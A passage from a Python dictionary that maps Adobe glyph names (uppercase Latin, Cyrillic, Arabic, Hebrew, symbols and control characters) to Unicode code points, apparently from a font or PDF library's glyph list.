u'\u03EC', 'Sigma': u'\u03A3', 'Sixroman': u'\u2165', 'Smonospace': u'\uFF33', 'Softsigncyrillic': u'\u042C', 'Ssmall': u'\uF773', 'Stigmagreek': u'\u03DA', 'T': u'\u0054', 'Tau': u'\u03A4', 'Tbar': u'\u0166', 'Tcaron': u'\u0164', 'Tcedilla': u'\u0162', 'Tcircle': u'\u24C9', 'Tcircumflexbelow': u'\u1E70', 'Tcommaaccent': u'\u0162', 'Tdotaccent': u'\u1E6A', 'Tdotbelow': u'\u1E6C', 'Tecyrillic': u'\u0422', 'Tedescendercyrillic': u'\u04AC', 'Tenroman': u'\u2169', 'Tetsecyrillic': u'\u04B4', 'Theta': u'\u0398', 'Thook': u'\u01AC', 'Thorn': u'\u00DE', 'Thornsmall': u'\uF7FE', 'Threeroman': u'\u2162', 'Tildesmall': u'\uF6FE', 'Tiwnarmenian': u'\u054F', 'Tlinebelow': u'\u1E6E', 'Tmonospace': u'\uFF34', 'Toarmenian': u'\u0539', 'Tonefive': u'\u01BC', 'Tonesix': u'\u0184', 'Tonetwo': u'\u01A7', 'Tretroflexhook': u'\u01AE', 'Tsecyrillic': u'\u0426', 'Tshecyrillic': u'\u040B', 'Tsmall': u'\uF774', 'Twelveroman': u'\u216B', 'Tworoman': u'\u2161', 'U': u'\u0055', 'Uacute': u'\u00DA', 'Uacutesmall': u'\uF7FA', 'Ubreve': u'\u016C', 'Ucaron': u'\u01D3', 'Ucircle': u'\u24CA', 'Ucircumflex': u'\u00DB', 'Ucircumflexbelow': u'\u1E76', 'Ucircumflexsmall': u'\uF7FB', 'Ucyrillic': u'\u0423', 'Udblacute': u'\u0170', 'Udblgrave': u'\u0214', 'Udieresis': u'\u00DC', 'Udieresisacute': u'\u01D7', 'Udieresisbelow': u'\u1E72', 'Udieresiscaron': u'\u01D9', 'Udieresiscyrillic': u'\u04F0', 'Udieresisgrave': u'\u01DB', 'Udieresismacron': u'\u01D5', 'Udieresissmall': u'\uF7FC', 'Udotbelow': u'\u1EE4', 'Ugrave': u'\u00D9', 'Ugravesmall': u'\uF7F9', 'Uhookabove': u'\u1EE6', 'Uhorn': u'\u01AF', 'Uhornacute': u'\u1EE8', 'Uhorndotbelow': u'\u1EF0', 'Uhorngrave': u'\u1EEA', 'Uhornhookabove': u'\u1EEC', 'Uhorntilde': u'\u1EEE', 'Uhungarumlaut': u'\u0170', 'Uhungarumlautcyrillic': u'\u04F2', 'Uinvertedbreve': u'\u0216', 'Ukcyrillic': u'\u0478', 'Umacron': u'\u016A', 'Umacroncyrillic': u'\u04EE', 'Umacrondieresis': u'\u1E7A', 'Umonospace': u'\uFF35', 'Uogonek': u'\u0172', 'Upsilon': u'\u03A5', 'Upsilon1': u'\u03D2', 'Upsilonacutehooksymbolgreek': u'\u03D3', 'Upsilonafrican': u'\u01B1', 'Upsilondieresis': u'\u03AB', 'Upsilondieresishooksymbolgreek': u'\u03D4', 'Upsilonhooksymbol': u'\u03D2', 'Upsilontonos': u'\u038E', 'Uring': u'\u016E', 'Ushortcyrillic': u'\u040E', 'Usmall': u'\uF775', 'Ustraightcyrillic': u'\u04AE', 'Ustraightstrokecyrillic': u'\u04B0', 'Utilde': u'\u0168', 'Utildeacute': u'\u1E78', 'Utildebelow': u'\u1E74', 'V': u'\u0056', 'Vcircle': u'\u24CB', 'Vdotbelow': u'\u1E7E', 'Vecyrillic': u'\u0412', 'Vewarmenian': u'\u054E', 'Vhook': u'\u01B2', 'Vmonospace': u'\uFF36', 'Voarmenian': u'\u0548', 'Vsmall': u'\uF776', 'Vtilde': u'\u1E7C', 'W': u'\u0057', 'Wacute': u'\u1E82', 'Wcircle': u'\u24CC', 'Wcircumflex': u'\u0174', 'Wdieresis': u'\u1E84', 'Wdotaccent': u'\u1E86', 'Wdotbelow': u'\u1E88', 'Wgrave': u'\u1E80', 'Wmonospace': u'\uFF37', 'Wsmall': u'\uF777', 'X': u'\u0058', 'Xcircle': u'\u24CD', 'Xdieresis': u'\u1E8C', 'Xdotaccent': u'\u1E8A', 'Xeharmenian': u'\u053D', 'Xi': u'\u039E', 'Xmonospace': u'\uFF38', 'Xsmall': u'\uF778', 'Y': u'\u0059', 'Yacute': u'\u00DD', 'Yacutesmall': u'\uF7FD', 'Yatcyrillic': u'\u0462', 'Ycircle': u'\u24CE', 'Ycircumflex': u'\u0176', 'Ydieresis': u'\u0178', 'Ydieresissmall': u'\uF7FF', 'Ydotaccent': u'\u1E8E', 'Ydotbelow': u'\u1EF4', 'Yericyrillic': u'\u042B', 'Yerudieresiscyrillic': u'\u04F8', 'Ygrave': u'\u1EF2', 'Yhook': u'\u01B3', 'Yhookabove': u'\u1EF6', 'Yiarmenian': u'\u0545', 'Yicyrillic': u'\u0407', 'Yiwnarmenian': u'\u0552', 'Ymonospace': u'\uFF39', 'Ysmall': u'\uF779', 'Ytilde': u'\u1EF8', 'Yusbigcyrillic': u'\u046A', 'Yusbigiotifiedcyrillic': u'\u046C', 'Yuslittlecyrillic': u'\u0466', 'Yuslittleiotifiedcyrillic': u'\u0468', 'Z': u'\u005A', 'Zaarmenian': u'\u0536', 'Zacute': u'\u0179', 'Zcaron': u'\u017D', 'Zcaronsmall': u'\uF6FF', 'Zcircle': u'\u24CF', 'Zcircumflex': u'\u1E90', 'Zdot': u'\u017B', 'Zdotaccent': u'\u017B', 'Zdotbelow': u'\u1E92', 'Zecyrillic': u'\u0417', 'Zedescendercyrillic': u'\u0498', 'Zedieresiscyrillic': u'\u04DE', 'Zeta': u'\u0396', 'Zhearmenian': u'\u053A', 'Zhebrevecyrillic': u'\u04C1', 'Zhecyrillic': u'\u0416', 'Zhedescendercyrillic': u'\u0496', 'Zhedieresiscyrillic': u'\u04DC', 'Zlinebelow': u'\u1E94', 'Zmonospace': u'\uFF3A', 'Zsmall': u'\uF77A', 'Zstroke': u'\u01B5', 'a': u'\u0061', 'aabengali': u'\u0986', 'aacute': u'\u00E1', 'aadeva': u'\u0906', 'aagujarati': u'\u0A86', 'aagurmukhi': u'\u0A06', 'aamatragurmukhi': u'\u0A3E', 'aarusquare': u'\u3303', 'aavowelsignbengali': u'\u09BE', 'aavowelsigndeva': u'\u093E', 'aavowelsigngujarati': u'\u0ABE', 'abbreviationmarkarmenian': u'\u055F', 'abbreviationsigndeva': u'\u0970', 'abengali': u'\u0985', 'abopomofo': u'\u311A', 'abreve': u'\u0103', 'abreveacute': u'\u1EAF', 'abrevecyrillic': u'\u04D1', 'abrevedotbelow': u'\u1EB7', 'abrevegrave': u'\u1EB1', 'abrevehookabove': u'\u1EB3', 'abrevetilde': u'\u1EB5', 'acaron': u'\u01CE', 'acircle': u'\u24D0', 'acircumflex': u'\u00E2', 'acircumflexacute': u'\u1EA5', 'acircumflexdotbelow': u'\u1EAD', 'acircumflexgrave': u'\u1EA7', 'acircumflexhookabove': u'\u1EA9', 'acircumflextilde': u'\u1EAB', 'acute': u'\u00B4', 'acutebelowcmb': u'\u0317', 'acutecmb': u'\u0301', 'acutecomb': u'\u0301', 'acutedeva': u'\u0954', 'acutelowmod': u'\u02CF', 'acutetonecmb': u'\u0341', 'acyrillic': u'\u0430', 'adblgrave': u'\u0201', 'addakgurmukhi': u'\u0A71', 'adeva': u'\u0905', 'adieresis': u'\u00E4', 'adieresiscyrillic': u'\u04D3', 'adieresismacron': u'\u01DF', 'adotbelow': u'\u1EA1', 'adotmacron': u'\u01E1', 'ae': u'\u00E6', 'aeacute': u'\u01FD', 'aekorean': u'\u3150', 'aemacron': u'\u01E3', 'afii00208': u'\u2015', 'afii08941': u'\u20A4', 'afii10017': u'\u0410', 'afii10018': u'\u0411', 'afii10019': u'\u0412', 'afii10020': u'\u0413', 'afii10021': u'\u0414', 'afii10022': u'\u0415', 'afii10023': u'\u0401', 'afii10024': u'\u0416', 'afii10025': u'\u0417', 'afii10026': u'\u0418', 'afii10027': u'\u0419', 'afii10028': u'\u041A', 'afii10029': u'\u041B', 'afii10030': u'\u041C', 'afii10031': u'\u041D', 'afii10032': u'\u041E', 'afii10033': u'\u041F', 'afii10034': u'\u0420', 'afii10035': u'\u0421', 'afii10036': u'\u0422', 'afii10037': u'\u0423', 'afii10038': u'\u0424', 'afii10039': u'\u0425', 'afii10040': u'\u0426', 'afii10041': u'\u0427', 'afii10042': u'\u0428', 'afii10043': u'\u0429', 'afii10044': u'\u042A', 'afii10045': u'\u042B', 'afii10046': u'\u042C', 'afii10047': u'\u042D', 'afii10048': u'\u042E', 'afii10049': u'\u042F', 'afii10050': u'\u0490', 'afii10051': u'\u0402', 'afii10052': u'\u0403', 'afii10053': u'\u0404', 'afii10054': u'\u0405', 'afii10055': u'\u0406', 'afii10056': u'\u0407', 'afii10057': u'\u0408', 'afii10058': u'\u0409', 'afii10059': u'\u040A', 'afii10060': u'\u040B', 'afii10061': u'\u040C', 'afii10062': u'\u040E', 'afii10063': u'\uF6C4', 'afii10064': u'\uF6C5', 'afii10065': u'\u0430', 'afii10066': u'\u0431', 'afii10067': u'\u0432', 'afii10068': u'\u0433', 'afii10069': u'\u0434', 'afii10070': u'\u0435', 'afii10071': u'\u0451', 'afii10072': u'\u0436', 'afii10073': u'\u0437', 'afii10074': u'\u0438', 'afii10075': u'\u0439', 'afii10076': u'\u043A', 'afii10077': u'\u043B', 'afii10078': u'\u043C', 'afii10079': u'\u043D', 'afii10080': u'\u043E', 'afii10081': u'\u043F', 'afii10082': u'\u0440', 'afii10083': u'\u0441', 'afii10084': u'\u0442', 'afii10085': u'\u0443', 'afii10086': u'\u0444', 'afii10087': u'\u0445', 'afii10088': u'\u0446', 'afii10089': u'\u0447', 'afii10090': u'\u0448', 'afii10091': u'\u0449', 'afii10092': u'\u044A', 'afii10093': u'\u044B', 'afii10094': u'\u044C', 'afii10095': u'\u044D', 'afii10096': u'\u044E', 'afii10097': u'\u044F', 'afii10098': u'\u0491', 'afii10099': u'\u0452', 'afii10100': u'\u0453', 'afii10101': u'\u0454', 'afii10102': u'\u0455', 'afii10103': u'\u0456', 'afii10104': u'\u0457', 'afii10105': u'\u0458', 'afii10106': u'\u0459', 'afii10107': u'\u045A', 'afii10108': u'\u045B', 'afii10109': u'\u045C', 'afii10110': u'\u045E', 'afii10145': u'\u040F', 'afii10146': u'\u0462', 'afii10147': u'\u0472', 'afii10148': u'\u0474', 'afii10192': u'\uF6C6', 'afii10193': u'\u045F', 'afii10194': u'\u0463', 'afii10195': u'\u0473', 'afii10196': u'\u0475', 'afii10831': u'\uF6C7', 'afii10832': u'\uF6C8', 'afii10846': u'\u04D9', 'afii299': u'\u200E', 'afii300': u'\u200F', 'afii301': u'\u200D', 'afii57381': u'\u066A', 'afii57388': u'\u060C', 'afii57392': u'\u0660', 'afii57393': u'\u0661', 'afii57394': u'\u0662', 'afii57395': u'\u0663', 'afii57396': u'\u0664', 'afii57397': u'\u0665', 'afii57398': u'\u0666', 'afii57399': u'\u0667', 'afii57400': u'\u0668', 'afii57401': u'\u0669', 'afii57403': u'\u061B', 'afii57407': u'\u061F', 'afii57409': u'\u0621', 'afii57410': u'\u0622', 'afii57411': u'\u0623', 'afii57412': u'\u0624', 'afii57413': u'\u0625', 'afii57414': u'\u0626', 'afii57415': u'\u0627', 'afii57416': u'\u0628', 'afii57417': u'\u0629', 'afii57418': u'\u062A', 'afii57419': u'\u062B', 'afii57420': u'\u062C', 'afii57421': u'\u062D', 'afii57422': u'\u062E', 'afii57423': u'\u062F', 'afii57424': u'\u0630', 'afii57425': u'\u0631', 'afii57426': u'\u0632', 'afii57427': u'\u0633', 'afii57428': u'\u0634', 'afii57429': u'\u0635', 'afii57430': u'\u0636', 'afii57431': u'\u0637', 'afii57432': u'\u0638', 'afii57433': u'\u0639', 'afii57434': u'\u063A', 'afii57440': u'\u0640', 'afii57441': u'\u0641', 'afii57442': u'\u0642', 'afii57443': u'\u0643', 'afii57444': u'\u0644', 'afii57445': u'\u0645', 'afii57446': u'\u0646', 'afii57448': u'\u0648', 'afii57449': u'\u0649', 'afii57450': u'\u064A', 'afii57451': u'\u064B', 'afii57452': u'\u064C', 'afii57453': u'\u064D', 'afii57454': u'\u064E', 'afii57455': u'\u064F', 'afii57456': u'\u0650', 'afii57457': u'\u0651', 'afii57458': u'\u0652', 'afii57470': u'\u0647', 'afii57505': u'\u06A4', 'afii57506': u'\u067E', 'afii57507': u'\u0686', 'afii57508': u'\u0698', 'afii57509': u'\u06AF', 'afii57511': u'\u0679', 'afii57512': u'\u0688', 'afii57513': u'\u0691', 'afii57514': u'\u06BA', 'afii57519': u'\u06D2', 'afii57534': u'\u06D5', 'afii57636': u'\u20AA', 'afii57645': u'\u05BE', 'afii57658': u'\u05C3', 'afii57664': u'\u05D0', 'afii57665': u'\u05D1', 'afii57666': u'\u05D2', 'afii57667': u'\u05D3', 'afii57668': u'\u05D4', 'afii57669': u'\u05D5', 'afii57670': u'\u05D6', 'afii57671': u'\u05D7', 'afii57672': u'\u05D8', 'afii57673': u'\u05D9', 'afii57674': u'\u05DA', 'afii57675': u'\u05DB', 'afii57676': u'\u05DC', 'afii57677': u'\u05DD', 'afii57678': u'\u05DE', 'afii57679': u'\u05DF', 'afii57680': u'\u05E0', 'afii57681': u'\u05E1', 'afii57682': u'\u05E2', 'afii57683': u'\u05E3', 'afii57684': u'\u05E4', 'afii57685': u'\u05E5', 'afii57686': u'\u05E6', 'afii57687': u'\u05E7', 'afii57688': u'\u05E8', 'afii57689': u'\u05E9', 'afii57690': u'\u05EA', 'afii57694': u'\uFB2A', 'afii57695': u'\uFB2B', 'afii57700': u'\uFB4B', 'afii57705': u'\uFB1F', 'afii57716': u'\u05F0', 'afii57717': u'\u05F1', 'afii57718': u'\u05F2', 'afii57723': u'\uFB35', 'afii57793': u'\u05B4', 'afii57794': u'\u05B5', 'afii57795': u'\u05B6', 'afii57796': u'\u05BB', 'afii57797': u'\u05B8', 'afii57798': u'\u05B7', 'afii57799': u'\u05B0', 'afii57800': u'\u05B2', 'afii57801': u'\u05B1', 'afii57802': u'\u05B3', 'afii57803': u'\u05C2', 'afii57804': u'\u05C1', 'afii57806': u'\u05B9', 'afii57807': u'\u05BC', 'afii57839': u'\u05BD', 'afii57841': u'\u05BF', 'afii57842': u'\u05C0', 'afii57929': u'\u02BC', 'afii61248': u'\u2105', 'afii61289': u'\u2113', 'afii61352': u'\u2116', 'afii61573': u'\u202C', 'afii61574': u'\u202D', 'afii61575': u'\u202E', 'afii61664': u'\u200C', 'afii63167': u'\u066D', 'afii64937': u'\u02BD', 'agrave': u'\u00E0', 'agujarati': u'\u0A85', 'agurmukhi': u'\u0A05', 'ahiragana': u'\u3042', 'ahookabove': u'\u1EA3', 'aibengali': u'\u0990', 'aibopomofo': u'\u311E', 'aideva': u'\u0910', 'aiecyrillic': u'\u04D5', 'aigujarati': u'\u0A90', 'aigurmukhi': u'\u0A10', 'aimatragurmukhi': u'\u0A48', 'ainarabic': u'\u0639', 'ainfinalarabic': u'\uFECA', 'aininitialarabic': u'\uFECB', 'ainmedialarabic': u'\uFECC', 'ainvertedbreve': u'\u0203', 'aivowelsignbengali': u'\u09C8', 'aivowelsigndeva': u'\u0948', 'aivowelsigngujarati': u'\u0AC8', 'akatakana': u'\u30A2', 'akatakanahalfwidth': u'\uFF71', 'akorean': u'\u314F', 'alef': u'\u05D0', 'alefarabic': u'\u0627', 'alefdageshhebrew': u'\uFB30', 'aleffinalarabic': u'\uFE8E', 'alefhamzaabovearabic': u'\u0623', 'alefhamzaabovefinalarabic': u'\uFE84', 'alefhamzabelowarabic': u'\u0625', 'alefhamzabelowfinalarabic': u'\uFE88', 'alefhebrew': u'\u05D0', 'aleflamedhebrew': u'\uFB4F', 'alefmaddaabovearabic': u'\u0622', 'alefmaddaabovefinalarabic': u'\uFE82', 'alefmaksuraarabic': u'\u0649', 'alefmaksurafinalarabic': u'\uFEF0', 'alefmaksurainitialarabic': u'\uFEF3', 'alefmaksuramedialarabic': u'\uFEF4', 'alefpatahhebrew': u'\uFB2E', 'alefqamatshebrew': u'\uFB2F', 'aleph': u'\u2135', 'allequal': u'\u224C', 'alpha': u'\u03B1', 'alphatonos': u'\u03AC', 'amacron': u'\u0101', 'amonospace': u'\uFF41', 'ampersand': u'\u0026', 'ampersandmonospace': u'\uFF06', 'ampersandsmall': u'\uF726', 'amsquare': u'\u33C2', 'anbopomofo': u'\u3122', 'angbopomofo': u'\u3124', 'angkhankhuthai': u'\u0E5A', 'angle': u'\u2220', 'anglebracketleft': u'\u3008', 'anglebracketleftvertical': u'\uFE3F', 'anglebracketright': u'\u3009', 'anglebracketrightvertical': u'\uFE40', 'angleleft': u'\u2329', 'angleright': u'\u232A', 'angstrom': u'\u212B', 'anoteleia': u'\u0387', 'anudattadeva': u'\u0952', 'anusvarabengali': u'\u0982', 'anusvaradeva': u'\u0902', 'anusvaragujarati': u'\u0A82', 'aogonek': u'\u0105', 'apaatosquare': u'\u3300', 'aparen': u'\u249C', 'apostrophearmenian': u'\u055A', 'apostrophemod': u'\u02BC', 'apple': u'\uF8FF', 'approaches': u'\u2250', 'approxequal': u'\u2248', 'approxequalorimage': u'\u2252', 'approximatelyequal': u'\u2245', 'araeaekorean': u'\u318E', 'araeakorean': u'\u318D', 'arc': u'\u2312', 'arighthalfring': u'\u1E9A', 'aring': u'\u00E5', 'aringacute': u'\u01FB', 'aringbelow': u'\u1E01', 'arrowboth': u'\u2194', 'arrowdashdown': u'\u21E3', 'arrowdashleft': u'\u21E0', 'arrowdashright': u'\u21E2', 'arrowdashup': u'\u21E1', 'arrowdblboth': u'\u21D4', 'arrowdbldown': u'\u21D3', 'arrowdblleft': u'\u21D0', 'arrowdblright': u'\u21D2', 'arrowdblup': u'\u21D1', 'arrowdown': u'\u2193', 'arrowdownleft': u'\u2199', 'arrowdownright': u'\u2198', 'arrowdownwhite': u'\u21E9', 'arrowheaddownmod': u'\u02C5', 'arrowheadleftmod': u'\u02C2', 'arrowheadrightmod': u'\u02C3', 'arrowheadupmod': u'\u02C4', 'arrowhorizex': u'\uF8E7', 'arrowleft': u'\u2190', 'arrowleftdbl': u'\u21D0', 'arrowleftdblstroke': u'\u21CD', 'arrowleftoverright': u'\u21C6', 'arrowleftwhite': u'\u21E6', 'arrowright': u'\u2192', 'arrowrightdblstroke': u'\u21CF', 'arrowrightheavy': u'\u279E', 'arrowrightoverleft': u'\u21C4', 'arrowrightwhite': u'\u21E8', 'arrowtableft': u'\u21E4', 'arrowtabright': u'\u21E5', 'arrowup': u'\u2191', 'arrowupdn': u'\u2195', 'arrowupdnbse': u'\u21A8', 'arrowupdownbase': u'\u21A8', 'arrowupleft': u'\u2196', 'arrowupleftofdown': u'\u21C5', 'arrowupright': u'\u2197', 'arrowupwhite': u'\u21E7', 'arrowvertex': u'\uF8E6', 'asciicircum': u'\u005E', 'asciicircummonospace': u'\uFF3E', 'asciitilde': u'\u007E', 'asciitildemonospace': u'\uFF5E', 'ascript': u'\u0251', 'ascriptturned': u'\u0252', 'asmallhiragana': u'\u3041', 'asmallkatakana': u'\u30A1', 'asmallkatakanahalfwidth': u'\uFF67', 'asterisk': u'\u002A', 'asteriskaltonearabic': u'\u066D', 'asteriskarabic': u'\u066D', 'asteriskmath': u'\u2217', 'asteriskmonospace': u'\uFF0A', 'asterisksmall': u'\uFE61', 'asterism': u'\u2042', 'asuperior': u'\uF6E9', 'asymptoticallyequal': u'\u2243', 'at': u'\u0040', 'atilde': u'\u00E3', 'atmonospace': u'\uFF20', 'atsmall': u'\uFE6B', 'aturned': u'\u0250', 'aubengali': u'\u0994', 'aubopomofo': u'\u3120', 'audeva': u'\u0914', 'augujarati': u'\u0A94', 'augurmukhi': u'\u0A14', 'aulengthmarkbengali': u'\u09D7', 'aumatragurmukhi': u'\u0A4C', 'auvowelsignbengali': u'\u09CC', 'auvowelsigndeva': u'\u094C', 'auvowelsigngujarati': u'\u0ACC', 'avagrahadeva': u'\u093D', 'aybarmenian': u'\u0561', 'ayin': u'\u05E2', 'ayinaltonehebrew': u'\uFB20', 'ayinhebrew': u'\u05E2', 'b': u'\u0062', 'babengali': u'\u09AC', 'backslash': u'\u005C', 'backslashmonospace': u'\uFF3C', 'badeva': u'\u092C', 'bagujarati': u'\u0AAC', 'bagurmukhi': u'\u0A2C', 'bahiragana': u'\u3070', 'bahtthai': u'\u0E3F', 'bakatakana': u'\u30D0', 'bar': u'\u007C', 'barmonospace': u'\uFF5C', 'bbopomofo': u'\u3105', 'bcircle': u'\u24D1', 'bdotaccent': u'\u1E03', 'bdotbelow': u'\u1E05', 'beamedsixteenthnotes': u'\u266C', 'because': u'\u2235', 'becyrillic': u'\u0431', 'beharabic': u'\u0628', 'behfinalarabic': u'\uFE90', 'behinitialarabic': u'\uFE91', 'behiragana': u'\u3079', 'behmedialarabic': u'\uFE92', 'behmeeminitialarabic': u'\uFC9F', 'behmeemisolatedarabic': u'\uFC08', 'behnoonfinalarabic': u'\uFC6D', 'bekatakana': u'\u30D9', 'benarmenian': u'\u0562', 'bet': u'\u05D1', 'beta': u'\u03B2', 'betasymbolgreek': u'\u03D0', 'betdagesh': u'\uFB31', 'betdageshhebrew': u'\uFB31', 'bethebrew': u'\u05D1', 'betrafehebrew': u'\uFB4C', 'bhabengali': u'\u09AD', 'bhadeva': u'\u092D', 'bhagujarati': u'\u0AAD', 'bhagurmukhi': u'\u0A2D', 'bhook': u'\u0253', 'bihiragana': u'\u3073', 'bikatakana': u'\u30D3', 'bilabialclick': u'\u0298', 'bindigurmukhi': u'\u0A02', 'birusquare': u'\u3331', 'blackcircle': u'\u25CF', 'blackdiamond': u'\u25C6', 'blackdownpointingtriangle': u'\u25BC', 'blackleftpointingpointer': u'\u25C4', 'blackleftpointingtriangle': u'\u25C0', 'blacklenticularbracketleft': u'\u3010', 'blacklenticularbracketleftvertical': u'\uFE3B', 'blacklenticularbracketright': u'\u3011', 'blacklenticularbracketrightvertical': u'\uFE3C', 'blacklowerlefttriangle': u'\u25E3', 'blacklowerrighttriangle': u'\u25E2', 'blackrectangle': u'\u25AC', 'blackrightpointingpointer': u'\u25BA', 'blackrightpointingtriangle': u'\u25B6', 'blacksmallsquare': u'\u25AA', 'blacksmilingface': u'\u263B', 'blacksquare': u'\u25A0', 'blackstar': u'\u2605', 'blackupperlefttriangle': u'\u25E4', 'blackupperrighttriangle': u'\u25E5', 'blackuppointingsmalltriangle': u'\u25B4', 'blackuppointingtriangle': u'\u25B2', 'blank': u'\u2423', 'blinebelow': u'\u1E07', 'block': u'\u2588', 'bmonospace': u'\uFF42', 'bobaimaithai': u'\u0E1A', 'bohiragana': u'\u307C', 'bokatakana': u'\u30DC', 'bparen': u'\u249D', 'bqsquare': u'\u33C3', 'braceex': u'\uF8F4', 'braceleft': u'\u007B', 'braceleftbt': u'\uF8F3', 'braceleftmid': u'\uF8F2', 'braceleftmonospace': u'\uFF5B', 'braceleftsmall': u'\uFE5B', 'bracelefttp': u'\uF8F1', 'braceleftvertical': u'\uFE37', 'braceright': u'\u007D', 'bracerightbt': u'\uF8FE', 'bracerightmid': u'\uF8FD', 'bracerightmonospace': u'\uFF5D', 'bracerightsmall': u'\uFE5C', 'bracerighttp': u'\uF8FC', 'bracerightvertical': u'\uFE38', 'bracketleft': u'\u005B', 'bracketleftbt': u'\uF8F0', 'bracketleftex': u'\uF8EF', 'bracketleftmonospace': u'\uFF3B', 'bracketlefttp': u'\uF8EE', 'bracketright': u'\u005D', 'bracketrightbt': u'\uF8FB', 'bracketrightex': u'\uF8FA', 'bracketrightmonospace': u'\uFF3D', 'bracketrighttp': u'\uF8F9', 'breve': u'\u02D8', 'brevebelowcmb': u'\u032E', 'brevecmb': u'\u0306', 'breveinvertedbelowcmb': u'\u032F', 'breveinvertedcmb': u'\u0311', 'breveinverteddoublecmb': u'\u0361', 'bridgebelowcmb': u'\u032A', 'bridgeinvertedbelowcmb': u'\u033A', 'brokenbar': u'\u00A6', 'bstroke': u'\u0180', 'bsuperior': u'\uF6EA', 'btopbar': u'\u0183', 'buhiragana': u'\u3076', 'bukatakana': u'\u30D6', 'bullet': u'\u2022', 'bulletinverse': u'\u25D8', 'bulletoperator': u'\u2219', 'bullseye': u'\u25CE', 'c': u'\u0063', 'caarmenian': u'\u056E', 'cabengali': u'\u099A', 'cacute': u'\u0107', 'cadeva': u'\u091A', 'cagujarati': u'\u0A9A', 'cagurmukhi': u'\u0A1A', 'calsquare': u'\u3388', 'candrabindubengali': u'\u0981', 'candrabinducmb': u'\u0310', 'candrabindudeva': u'\u0901', 'candrabindugujarati': u'\u0A81', 'capslock': u'\u21EA', 'careof': u'\u2105', 'caron': u'\u02C7', 'caronbelowcmb': u'\u032C', 'caroncmb': u'\u030C', 'carriagereturn': u'\u21B5', 'cbopomofo': u'\u3118', 'ccaron': u'\u010D', 'ccedilla': u'\u00E7', 'ccedillaacute': u'\u1E09', 'ccircle': u'\u24D2', 'ccircumflex': u'\u0109', 'ccurl': u'\u0255', 'cdot': u'\u010B', 'cdotaccent': u'\u010B', 'cdsquare': u'\u33C5', 'cedilla': u'\u00B8', 'cedillacmb': u'\u0327', 'cent': u'\u00A2', 'centigrade': u'\u2103', 'centinferior': u'\uF6DF', 'centmonospace': u'\uFFE0', 'centoldstyle': u'\uF7A2', 'centsuperior': u'\uF6E0', 'chaarmenian': u'\u0579', 'chabengali': u'\u099B', 'chadeva': u'\u091B', 'chagujarati': u'\u0A9B', 'chagurmukhi': u'\u0A1B', 'chbopomofo': u'\u3114', 'cheabkhasiancyrillic': u'\u04BD', 'checkmark': u'\u2713', 'checyrillic': u'\u0447', 'chedescenderabkhasiancyrillic': u'\u04BF', 'chedescendercyrillic': u'\u04B7', 'chedieresiscyrillic': u'\u04F5', 'cheharmenian': u'\u0573', 'chekhakassiancyrillic': u'\u04CC', 'cheverticalstrokecyrillic': u'\u04B9', 'chi': u'\u03C7', 'chieuchacirclekorean': u'\u3277', 'chieuchaparenkorean': u'\u3217', 'chieuchcirclekorean': u'\u3269', 'chieuchkorean': u'\u314A', 'chieuchparenkorean': u'\u3209', 'chochangthai': u'\u0E0A', 'chochanthai': u'\u0E08', 'chochingthai': u'\u0E09', 'chochoethai': u'\u0E0C', 'chook': u'\u0188', 'cieucacirclekorean': u'\u3276', 'cieucaparenkorean': u'\u3216', 'cieuccirclekorean': u'\u3268', 'cieuckorean': u'\u3148', 'cieucparenkorean': u'\u3208', 'cieucuparenkorean': u'\u321C', 'circle': u'\u25CB', 'circlemultiply': u'\u2297', 'circleot': u'\u2299', 'circleplus': u'\u2295', 'circlepostalmark': u'\u3036', 'circlewithlefthalfblack': u'\u25D0', 'circlewithrighthalfblack': u'\u25D1', 'circumflex': u'\u02C6', 'circumflexbelowcmb': u'\u032D', 'circumflexcmb': u'\u0302', 'clear': u'\u2327', 'clickalveolar': u'\u01C2', 'clickdental': u'\u01C0', 'clicklateral': u'\u01C1', 'clickretroflex': u'\u01C3', 'club': u'\u2663', 'clubsuitblack': u'\u2663', 'clubsuitwhite': u'\u2667', 'cmcubedsquare': u'\u33A4', 'cmonospace': u'\uFF43', 'cmsquaredsquare': u'\u33A0', 'coarmenian': u'\u0581', 'colon': u'\u003A', 'colonmonetary': u'\u20A1', 'colonmonospace': u'\uFF1A', 'colonsign': u'\u20A1', 'colonsmall': u'\uFE55', 'colontriangularhalfmod': u'\u02D1', 'colontriangularmod': u'\u02D0', 'comma': u'\u002C', 'commaabovecmb': u'\u0313', 'commaaboverightcmb': u'\u0315', 'commaaccent': u'\uF6C3', 'commaarabic': u'\u060C', 'commaarmenian': u'\u055D', 'commainferior': u'\uF6E1', 'commamonospace': u'\uFF0C', 'commareversedabovecmb': u'\u0314', 'commareversedmod': u'\u02BD', 'commasmall': u'\uFE50', 'commasuperior': u'\uF6E2', 'commaturnedabovecmb': u'\u0312', 'commaturnedmod': u'\u02BB', 'compass': u'\u263C', 'congruent': u'\u2245', 'contourintegral': u'\u222E', 'control': u'\u2303', 'controlACK': u'\u0006', 'controlBEL': u'\u0007', 'controlBS': u'\u0008', 'controlCAN': u'\u0018', 'controlCR': u'\u000D', 'controlDC1': u'\u0011', 'controlDC2': u'\u0012', 'controlDC3': u'\u0013', 'controlDC4': u'\u0014', 'controlDEL': u'\u007F', 'controlDLE': u'\u0010', 'controlEM': u'\u0019', 'controlENQ': u'\u0005', 'controlEOT': u'\u0004', 'controlESC': u'\u001B', 'controlETB': u'\u0017', 'controlETX': u'\u0003', 'controlFF': u'\u000C', 'controlFS': u'\u001C', 'controlGS': u'\u001D', 'controlHT': u'\u0009', 'controlLF': u'\u000A', 'controlNAK': u'\u0015', 'controlRS': u'\u001E', 'controlSI': u'\u000F', 'controlSO': u'\u000E', 'controlSOT': u'\u0002', 'controlSTX': u'\u0001', 'controlSUB': u'\u001A', 'controlSYN': u'\u0016', 'controlUS': u'\u001F', 'controlVT': u'\u000B', 'copyright': u'\u00A9', 'copyrightsans': u'\uF8E9', 'copyrightserif': u'\uF6D9', 'cornerbracketleft': u'\u300C', 'cornerbracketlefthalfwidth': u'\uFF62', 'cornerbracketleftvertical': u'\uFE41', 'cornerbracketright': u'\u300D', 'cornerbracketrighthalfwidth': u'\uFF63', 'cornerbracketrightvertical': u'\uFE42', 'corporationsquare': u'\u337F', 'cosquare': u'\u33C7', 'coverkgsquare': u'\u33C6', 'cparen': u'\u249E', 'cruzeiro': u'\u20A2', 'cstretched': u'\u0297', 'curlyand': u'\u22CF', 'curlyor': u'\u22CE', 'currency': u'\u00A4', 'cyrBreve': u'\uF6D1', 'cyrFlex': u'\uF6D2', 'cyrbreve': u'\uF6D4', 'cyrflex': u'\uF6D5', 'd': u'\u0064', 'daarmenian': u'\u0564', 'dabengali': u'\u09A6', 'dadarabic': u'\u0636', 